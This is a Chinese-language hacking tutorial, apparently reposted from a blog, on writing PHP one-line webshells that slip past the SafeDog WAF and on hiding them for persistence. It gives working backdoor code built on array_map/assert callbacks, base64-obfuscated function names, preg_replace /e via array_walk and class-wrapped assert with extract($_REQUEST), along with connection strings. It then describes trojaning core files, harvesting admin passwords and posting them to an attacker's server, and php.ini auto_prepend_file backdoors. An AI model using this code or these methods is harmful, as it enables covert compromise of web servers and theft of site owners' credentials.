1. 程式人生 > >PHP一句話後門過狗姿勢萬千之後門構造與隱藏

PHP一句話後門過狗姿勢萬千之後門構造與隱藏

第二章節主要帶給大家一些後門構造思路,與安全狗檔案特徵檢測的機制。

另外強調一下,這篇文章需要大家對於php有一定的認識。

本章節分為三大部分,第一部分針對初級,分析菜刀php程式碼的執行過程,較基礎;第二部分主要總結一些可以利用的後門姿勢,這部分我主要給大家分享一些蒐集的後門,希望可以拓展大家的思路;第三部分主要分享後門隱藏之道。

宣告:在後門舉例中大部分後門構造與思路,可能網上都有類似的,如有雷同,來打我呀!

目前主流的waf軟體(如安全狗)一般對於後門檔案有主動查殺與被動查殺,主動好理解,被動主要就在於你訪問該檔案的時候,對該檔案就行查殺,比如連結菜刀的時候。

因為安全狗對後門的查殺其實就是對程式碼的一個預編譯,去除註釋等無用程式碼,遇到if,直接檢查if內部內容。

安全狗獲取其他各種waf有什麼樣的特徵庫,我們並不能全部知曉,我們能做的只有一點點嘗試,WAF永遠在更新,黑闊門永遠在換套路,幾乎沒有一勞永逸的後門。

說明:如果想更好的過狗,那麼php是必須要會的,為了儘量照顧到不會php的同學,本文分享一些猥瑣思路彌補一下。

先來一個最簡單的過狗後門

下面分享的幾個一句話都是可以直接過狗的,雖然很簡單,但此之前,我們來遛一遛狗。

<?php $_GET[a]($_GET[b]);?>

這句話已經可以執行一切命令了,但是必然被殺,

我們可以用extract函式簡單的處理下請求的資料

當然,想要完美過狗,執行更多命令,還需要資料層加工,詳情參考第三章。

經典的回撥函式

很多時候並不是給變數多一層加密就安全,其實很多waf對base64_decode相當敏感。

例如:

@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));

原理分析:xx引數直接傳入一個assert函式,sofia引數傳入assert(eval('執行程式碼'))。

直接暴出array_map後門,試試去掉base64?

沒錯,就這麼簡單,最危險的地方就是最安全的地方,起碼檔案特徵安全狗確實沒有檢測出來。

然而這個一句話D盾是四級的,因為稍微懂點的人都能看出來是個後門。

但是距離實際意義上的過狗還是遠遠不夠的,還需要資料層加工,詳情參考第三章。之後你會發現,就這個一句話修改下post資料,可以完整過狗。

不賣關子:

@array_map(assert,(array)base64_decode($_REQUEST['sofia']));

連線方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密碼 :vuln

再來一個回撥後門

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);
$arr = array($Base($_POST['sofia']) => '|.*|e',); 
@array_walk($arr, $_clasc, '');
?>
這是我之前修改過的一個版本,這裡用的其實還是preg_replace後門,也是通過回撥函式來實現執行,同樣可以過:

詳解:
帶入引數:

vuln=cHJlZ19yZXBsYWNl(preg_replace)

sofia=cGhwaW5mbygp(phpinfo())

<?
$Base = "base6"."4"."_decod"."e";
$_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
$arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
@array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
?>

網上有很多現成的回撥函式或者其他方式來過特徵檢測,再這裡就不重複造輪子了。

程式碼隱藏

許可權維持也是滲透中重要的環節,隱藏的不到位第二天就掉許可權,猥瑣的後門能一輩子跟隨。

方法一:遠端讀取或者include檔案

這個方法比較常見,如:

<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}

但是就個人而言,我一眼看上就覺得有鬼,哪個正常程式會鬼畜到包含一個日誌檔案或者圖片,當然也要根據場景來定。

方法二:

將程式碼放到核心函式檔案中,做好檔案時間修改,只要查殺不出來,一般站長也不會去動核心檔案,也是具有一定隱蔽性的,

方法二:建立類或者函式,分離後門程式碼

這樣的話基本上很難查殺了,比如再global_function.php類的檔案中建立一個類,或者函式,在所呼叫這個核心函式的相關檔案中例項化一個類,呼叫函式,那麼也是妥妥執行的。

如:把class放到核心類檔案中,在相關的呼叫檔案中放入執行程式碼,隱蔽性會加強很多。

<?php
class Parse_Args {

public function apply_filters($key) {
assert($key);
}
}

//執行程式碼
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);

?>

方法四:直接加密程式碼

直接將後門檔案加密,

其實這就只是eval($_POST[x])加密後的結果,還需要構造什麼?但是在滲透過程中可用性並不是很高,很多時候要寫入後門程式碼,這根本沒法寫的,只能作為一種維持手段。

方法五:建立手工後門

php不僅可以獲取get,post資料還是可以獲取server資料的,如user-agent,referrer,cookie,client ip,所以我們完全可以在這些引數中加入需要執行的程式碼,但需要注意的是有的引數日誌中會記錄,這裡僅提供思路,大家根據實際情況取發揮。

方法五:間接維持後臺許可權,

可以直接在後臺登陸頁所include的核心函式中加入獲取使用者名稱密碼的程式碼,如直接生成到本地伺服器的一個txt中(可以加密下),記住這個隱蔽的url,時不時就會有密碼記錄,或者遠端post密碼到自己的伺服器上。

可以在後臺頁面中插入一個xss,這種效率相對較低,但是也是一種思路。

方法六:來硬的

這種方法只能針對中小站長,找到一個網站的核心但是又不常用的檔案,比如lang檔案等等,將自己後門加入,然後將整個檔案加密,再替換原始檔,功能一切正常,站長對這類檔案不會起太大疑心。

這個思路也可以結合方法三。

方法七:php.ini後門

修改php.ini配置來達到每個頁面都執行某個後門,每個php都是後門,比如可以配置auto_prepend_file,自動載入某個檔案,這部分後期抽時間再單獨寫出來。